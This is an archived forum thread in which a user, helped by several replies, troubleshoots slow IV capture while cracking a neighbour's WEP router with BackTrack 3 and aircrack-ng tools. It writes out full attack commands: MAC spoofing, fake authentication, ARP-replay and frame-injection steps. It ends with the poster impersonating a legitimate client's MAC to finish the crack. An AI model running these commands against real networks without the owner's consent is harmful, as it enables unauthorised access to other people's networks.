Slow iv generation... yeah, typical newbie question, but...

[Darius_bd]

.
First of all Hi everybody, and thanks for all the fish. I've read your great disposition towards newbies and it's greatly enviable.

So, to the point. Same old point, slow iv generation. So far I've double checked on inserting the right parameters and still no luck. I'm trying with a friend to crack his wep ap with my notebook but the amount of iv packages I'm getting is laughable.

Specs:

Notebook wifi: Intel Pro 3945ABG.
AP: Dlink dir300 or something like that WEP 128, no Mac filtering
Distance: like 10m but with solid walls between. We're neighbors and the idea is to check if it's crackeable from different houses.
Software: LiveCD BT3

The steps I did were to use the ipwraw driver, change mac address for a fake one [just in case], start airodump with the right channel [on the first try the channel was fixed on a wrong channel, but with the right channel selected is still as slow as before], start attack 1 to auth, start attack 3 to generate arp request and start attack 2 to generate some traffic [as there's no clients associated with the AP, sure].

The amount of iv is like 400... in an hour. I used the -9 to test if I could inject and it worked and had a ~90% on the ping. I checked if the channel was right for the second try and it's ok, and no hoping [at least now it doesn't say it's fixed on airodump]. Also tried to constant auth to 30s if by any chance it was deauthing after some time. Still no speed increase. So we're kinda clueless here. Maybe the walls do affect the signal, even passing the -9 tests?

What could be the problem here??

Many thks in advance.

[mfBaranian]

Post the exact commands you use, and the output you get.

Have a look at Xploitz tutorials
http://forums.remote-exploit.org/showthread.php?t=9063
http://forums.remote-exploit.org/showthread.php?t=7872

[KMDave]

Did you try to sit next to the AP?

[Darius_bd]

.
Today I sat next to the AP and although the speed did increase, it's still as low as hell. Now it's like 800 per hour, so guess it ain't the walls. We can't yet prove if with an associated client connected to the internet generates more data packets [on wednesday could be], but I understand that this packets are useless for trying the aircrack-PWT [ptw?], only ARP are useful, ea?

The steps I followed are the exact ones posted in this bt3 crack tutorial

thew0rd.com/2008/08/19/tutorial-cracking-wep-using-backtrack-3

And for the outputs... well, everything normal except for the ARP request. I have like thousands of AKNowledges with aireplay but ARP comes drop by drop. No problemo with the fake association either. One strange thing is that without any attack nor clients, the airodump-ng does get some #data, although like ARP, it's drop by drop. What does it means?

[mfBaranian]

I suggest that you try the tutorials I mentioned in the post above. (They are well written and explain each step) You should try both of them, you'll see the difference in the aproach.

I hate to repeat myself. I didn't ask you to comment on the command line output but to place it in your post. That's the best source of information for anyone to help you.

[imported_vvpalin]

If you followed the links #mfBaranian# posted and your still having problems i might wager that there is a problem with your wireless card / driver.

you might also want to try something like this to see if its working on the AP

aireplay-ng -9 -a [bssid] wlan0

keep in mind that doing this over some distance isnt exactly an exact science for best results as has been stated already its best to get as much signal as possible.

One more thing what kind of router are you attacking? If i remember correctly some are much more generous at handing out IV's than others

[Darius_bd]

.
Ok, today I gave a try to the tutorial by xploitz and the result is the same.

So, here the output of the commands:

iwconfig

lo       no wireless extensions
eth0     no wireless extensions
eth1     IEEE 802.11b/g ESSID:off/any Nickname:"Broadcom 4311"
         Mode:Managed Frecuency=2.437 GHz  AP:Invalid
         Bit Rate= 1 Mb/s   Tx-Power=18 dBm
         etc

airmon-ng stop eth1

Interface     Chipset     Driver
eth1          Broadcom    bcm43xx (monitor mode disabled)

ifconfig eth1 down
macchanger --mac 00:11:22:33:44:55 eth1

Current MAC: blahblah (unknown)
Faked MAC: You know (Cimsys Inc)

airmon-ng start eht1

Interface     Chipset     Driver
eth1          Broadcom    bcm43xx (monitor mode enabled)

airodump-ng -c 6 -w networkout --bssid [the AP] eth1

aireplay-ng -1 180 -a MAC -h FAKE MAC eth1

Waiting for beacon frame (BSSID: mac) on channel 6
Sending authentication request (Open System) [ACK]
Authentication successful
Sending association request [ACK]
Association successful :-) (AID: 1)
sending keep alive.. etc

And after 10 minutes of applied aireplay -1 and -3

CH 6 ][ Elapsed: 10 mins ][ 2009-04-24 01:16

BSSID    PWR  RXQ   Beacons   #Data   #/s   CH   MB   ENC   CIPHER   AUTH   ESSID
the ap   0    92    4687      61       0    6    54.  WEP   WEP      OPN    the name

This are the outputs for aireplay after 30 mins

aireplay-ng -3 -b MAC -h FAKE MAC eth1

Waiting for beacon frame (BSSID: mac) on channel 6
Saving ARP requests in replay_sdfhjksdf
you should asdkljh
Read 95306 packets (got 28 ARP requests and 92267 ACKs), sent 102733 packets... (500 pps)

And the test

aireplay-ng -9 -a MAC eth1

Waiting for beacon frame (BSSID: mac) on channel 6
Trying broadcast probe requests...
Injection is working!
Found 2 AP

Trying directed probe requests...
MAC - channel: 6 - ESSID
Ping (min/avg/max): 0.023ms/46.123ms/87242ms Power: 0.00
29/30: 96%

Some differences I see from tutorials: the interface doesn't change it's name, the driver it's the same even when using modprobe to [supposedly] change it, the card can't read power, the -1 attack says (AID 1) and the -3 generates a lot of ACKs

So, any thoughts? Maybe you know a way to force the use of the ipwraw driver?

The AP is a Dlink Dir300

[imported_vvpalin]

give this a try

aireplay-ng -3 -x 1000 -n 100000 -b 00:00:00:00:00:00 -h 00:11:22:33:44:55 eth1

Try downloading something from the computer connected to the AP and see if it speeds things up

You could also downgrade the firmware of the D-Link and see if it works better that way. On my D-Link its a pain in the nuts to get a bunch of IV's from a distance.

[routher]

You might want to consider trying out the BT4 beta. Since the release of BT3, vast improvements have been made to the b43 drivers. I have the same wireless chipset as you do and I have no problem getting 500 pps from a vanilla Ubuntu install (didn't even have to patch the drivers since they've now enabled radiotap or w/e it's called). Beware that the interface name will change to wlanX, and the monitors are referred to as monX.

I am assuming that your last post is still operating on a client-less crack as you were in the OP. While I admit that I am far from an expert, I believe that arp-replay attacks (-3) requires the use of a legitimate connected client's MAC. Try using interactive frame mode (-2) instead. The tl;dr steps would be:

1. airmon check 'interface'
2. airmon start 'interface'
3. ifconfig HMAC down
4. macchanger -m HMAC INTERFACE
5. ifconfig INTERFACE up
6. iwconfig INTERFACE channel # freq #.###G
7. --bunch of stuff to generate ARP packet--
8. aireplay -1 0 -e ESSID -a RMAC -h HMAC INTERFACE
9. airodump -c CHANNEL -d MAC -w DUMP INTERFACE
10. aireplay -2 -r ARP-PACKET INTERFACE

Where 'interface' is the normal name of the interface, INTERFACE is the name in monitoring mode, HMAC is your hardware MAC, RMAC is your fake mac, and ARP-PACKET is the ARP-packet file you generated.

So yeah, try the above string of commands and see if you get better throughput. If not, then download the BT4 beta and try with the fancy b43 drivers.

I'm guessing the ARP packets you are recieving and the data# showing up has little to do with your own attack and is probably originating from an unseen connected client at your neighbor's house. He may have a client that isn't transmitting far enough for airodump to see it, or even a wired client connected. Those ARP packets are probably being generated by said client while various daemons or services phone home to check for updates or w/e. It's probably not the walls, cuz every apartment I've ever lived in has always featured a million different APs that are coming from my neighbors and I've never had a problem connecting to them.

Like I said, I'm a n00b and I'm mostly talking out of my ass so I'd really appreciate it if anyone who actually has some idea about wireless networking to hand me my ass so that we can all learn something new!

[Darius_bd]

@vvpalin:

I did that command but still behaves like always. I dont get why I get back soo many ACK instead of ARP. I believe is the driver rather than anything else. How is the way to enforces a certain driver??

I'll try to attack the ap while my friend downloads something. I'll post the results.

PS: Sorry Routher, I haven't read your steps before, I'll give them a try now. Thks very much! Btw, my friend doesn't have any other wifi clients besides his father's laptop which is still on his office, and the #data rose up when doing the attack, so it's safe to say the 'problem' it's on my side. Though now my friend is kinda mocking at me, that his cheap router is deflecting my attacks u_u'

PS2: Ok... got it working... somehow... another friend brought his wifi cellphone and I copycated the mac address. Connecting to the ap to get it working. Surfing trough internet didn't casted much data, but if the cellphone went trough the process of validating the key, aireplay could inject arp requests. Now the cellphone is gone but aireplay is injecting a lot of data and getting much more ARPs. I don't understand the logic of why this worked like this. Maybe someone could shed a light here plz?

This is kinda exiting anyway n_n made me wish I was studying some network engineering. Now let's just wait and crack.

PS3: Well, surething, it got cracked. Still, I'm not all satisfied as I needed another client like leading the path. At last I proved the point to my friend, but anyway he's changing to WPA after watching all this cracking videos.